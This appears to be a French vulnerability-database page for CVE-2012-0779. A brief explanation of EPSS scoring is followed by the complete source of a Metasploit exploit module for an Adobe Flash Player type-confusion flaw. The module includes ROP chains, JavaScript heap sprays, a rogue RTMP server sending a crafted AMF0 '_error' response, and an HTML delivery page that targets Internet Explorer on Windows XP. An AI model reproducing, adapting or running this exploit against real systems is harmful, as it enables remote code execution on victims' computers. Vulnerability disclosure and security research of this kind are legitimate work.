CVE-2012-0779 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :os_name => OperatingSystems::WINDOWS, :ua_name => HttpClients::IE, :ua_minver => "6.0", :ua_maxver => "8.0", :method => "GetVariable", :classid => "ShockwaveFlash.ShockwaveFlash", :rank => NormalRanking, # reliable memory corruption :javascript => true }) def initialize(info={}) super(update_info(info, 'Name' => "Adobe Flash Player Object Type Confusion", 'Description' => %q{ This module exploits a vulnerability found in Adobe Flash Player. By supplying a corrupt AMF0 "_error" response, it is possible to gain arbitrary remote code execution under the context of the user. This vulnerability has been exploited in the wild as part of the "World Uyghur Congress Invitation.doc" e-mail attack. According to the advisory, 10.3.183.19 and 11.x before 11.2.202.235 are affected. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-0779' ], [ 'OSVDB', '81656'], [ 'BID', '53395' ], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-09.html'], # Patch info [ 'URL', 'http://contagiodump.blogspot.com.es/2012/05/may-3-cve-2012-0779-world-uyghur.html' ] ], 'Payload' => { #'Space' => 1024, 'BadChars' => "\x00" }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ # Flash Player 11.2.202.228 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'RandomHeap' => false, 'Offset' => '0x0' } ], [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'RandomHeap' => false, 'Offset' => '0x0' } ], [ 'IE 8 on Windows XP SP3 with msvcrt ROP', { 'Rop' => :msvcrt, 'RandomHeap' => false, 'Offset' => '238', 'StackPivot' => 0x77c12100, # add esp, edx # retn 77 # from msvcrt.dll } ] ], 'Privileged' => false, 'DisclosureDate' => "May 04 2012", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]), OptAddress.new('RTMPHOST', [ true, "The local host to RTMP service listen on. This must be an address on the local machine or 0.0.0.0", '0.0.0.0' ]), OptPort.new('RTMPPORT', [ true, "The local port to RTMP service listen on.", 1935 ]), ], self.class ) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1] #IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[2] #IE 7 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ return targets[3] #IE 8 on Windows XP SP3 else return nil end end def junk(n=4) return rand_text_alpha(n).unpack("V").first end def nop return make_nops(4).unpack("V").first end def ret(t) return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll end def popret(t) return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll end def get_rop_chain(t) # ROP chains generated by mona.py - See corelan.be print_status("Using msvcrt ROP") rop = [ 0x77c4e392, # POP EAX # RETN 0x77c11120, # <- *&VirtualProtect() 0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN junk, 0x77c2dd6c, 0x77c4ec00, # POP EBP # RETN 0x77c35459, # ptr to 'push esp # ret' 0x77c47705, # POP EBX # RETN 0x00001000, # EBX 0x77c3ea01, # POP ECX # RETN 0x77c5d000, # W pointer (lpOldProtect) (-> ecx) 0x77c46100, # POP EDI # RETN 0x77c46101, # ROP NOP (-> edi) 0x77c4d680, # POP EDX # RETN 0x00000040, # newProtect (0x40) (-> edx) 0x77c4e392, # POP EAX # RETN nop, # NOPS (-> eax) 0x77c12df9, # PUSHAD # RETN ].pack("V*") code = ret(t) code << rand_text(119) code << rop code << "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem code << payload.encoded offset = 2616 - code.length code << rand_text(offset) code << [ t['StackPivot'] ].pack("V") return code end def get_easy_spray(t, js_code, js_nops) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{t['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < 0x185; z++) { heap_obj.alloc(block); } JS return spray end def get_aligned_spray(t, js_rop, js_nops) spray = <<-JS var heap_obj = new heapLib.ie(0x20000); var nops = unescape("#{js_nops}"); var rop_chain = unescape("#{js_rop}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{t['Offset']}); var shellcode = offset + rop_chain + nops.substring(0, 0x800-offset.length-rop_chain.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < 0x1c5; z++) { heap_obj.alloc(block); } JS return spray end def exploit @swf = create_swf # Boilerplate required to handled pivoted listeners comm = datastore['ListenerComm'] if comm == "local" comm = ::Rex::Socket::Comm::Local else comm = nil end @rtmp_listener = Rex::Socket::TcpServer.create( 'LocalHost' => datastore['RTMPHOST'], 'LocalPort' => datastore['RTMPPORT'], 'Comm' => comm, 'Context' => { 'Msf' => framework, 'MsfExploit' => self, } ) # Register callbacks @rtmp_listener.on_client_connect_proc = Proc.new { |cli| add_socket(cli) print_status("#{cli.peerhost.ljust(16)} #{self.shortname} - Connected to RTMP") on_rtmp_connect(cli) } @rtmp_listener.start super end def my_read(cli,size,timeout=nil) if timeout.nil? timeout = cli.def_read_timeout end buf = "" ::Timeout::timeout(timeout) { while buf.length < size buf << cli.get_once(size - buf.length) end } buf end def do_handshake(cli) c0 = my_read(cli, 1) c1 = my_read(cli, 1536) # HandshakeSize => 1536 s0 = "\3" # s0 s1 = Rex::Text.rand_text(4) # s1.time s1 << "\x00\x00\x00\x00" # s1.zero s1 << Rex::Text.rand_text(1528) # s1.random_data s2 = c1 # s2 cli.put(s0) cli.put(s1) cli.put(s2) c2 = my_read(cli, 1536) # C2 (HandshakeSize => 1536) end def on_rtmp_connect(cli) begin do_handshake(cli) request = my_read(cli, 341) # connect request length case request when /connect/ rtmp_header = "\x03" # Chunk Stream ID rtmp_header << "\x00\x00\x00" # Timestamp rtmp_header << "\x00\x00\x71" # Body Size rtmp_header << "\x14" # AMF0 Command rtmp_header << "\x00\x00\x00\x00" # Stream ID # String rtmp_body = "\x02" # String rtmp_body << "\x00\x06" # String length rtmp_body << "\x5f\x65\x72\x72\x6f\x72" # String: _error # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << "\x40\x00\x00\x00\x00\x00\x00\x00" # Number # Array rtmp_body << "\x0a" # AMF Type: Array rtmp_body << "\x00\x00\x00\x05" # Array length: 5 # Array elements rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number # Crafter Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x0c\x0c\x0c\x0c" # Modify the "\x0c\x0c\x0c\x0c" to do an arbitrary call # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number # Number rtmp_body << "\x00" # AMF Type: Number rtmp_body << [rand(0x40000000)].pack("V") + "\x00\x00\x00\x00" # Number trigger = rtmp_header trigger << rtmp_body cli.put(trigger) @rtmp_listener.close_client(cli) end rescue ensure @rtmp_listener.close_client(cli) remove_socket(cli) end end def cleanup super return if not @rtmp_listener begin @rtmp_listener.deref if @rtmp_listener.kind_of?(Rex::Service) if @rtmp_listener.kind_of?(Rex::Socket) @rtmp_listener.close @rtmp_listener.stop end @rtmp_listener = nil rescue ::Exception end end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("Browser not supported: #{agent}") send_not_found(cli) return end print_status("Client requesting: #{request.uri}") if request.uri =~ /\.swf$/ print_status("Sending Exploit SWF") send_response(cli, @swf, { 'Content-Type' => 'application/x-shockwave-flash' }) return end p = payload.encoded js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) if not my_target['Rop'].nil? js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch)) js = get_aligned_spray(my_target, js_rop, js_nops) else js = get_easy_spray(my_target, js_code, js_nops) end js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end swf_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource swf_uri << "/#{rand_text_alpha(rand(6)+3)}.swf" if datastore['RTMPHOST'] == '0.0.0.0' rtmp_host = Rex::Socket.source_address('1.2.3.4') else rtmp_host = datastore['RTMPHOST'] end rtmp_port = datastore['RTMPPORT'] html = %Q| <html> <head> <script> #{js} </script> </head> <body> <center> <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="test" width="1" height="1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"> <param name="movie" value="#{swf_uri}" /> <param name="FlashVars" value="var1=#{rtmp_host}&var2=#{rtmp_port}" <embed src="#{swf_uri}" quality="high" width="1" height="1" name="test" align="middle" allowNetworking="all" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" FlashVars="var1=#{rtmp_host}&var2=#{rtmp_port}"> </embed> </object> </center> </body> </html> | html = html.gsub(/^\t\t/, '') print_status("Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end def create_swf path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-0779.swf" ) fd = ::File.open( path, "rb" ) swf = fd.read(fd.stat.size) fd.close return swf end end =begin * Flash Player 11.2.202.228 (348.540): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000 eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202 Flash32_11_2_202_228!DllUnregisterServer+0x300e84: 104b1b2d 8b422c mov eax,dword ptr [edx+2Ch] ds:0023:44444470=???????? 0:000> u eip Flash32_11_2_202_228!DllUnregisterServer+0x300e84: 104b1b2d 8b422c mov eax,dword ptr [edx+2Ch] 104b1b30 53 push ebx 104b1b31 ffd0 call eax =end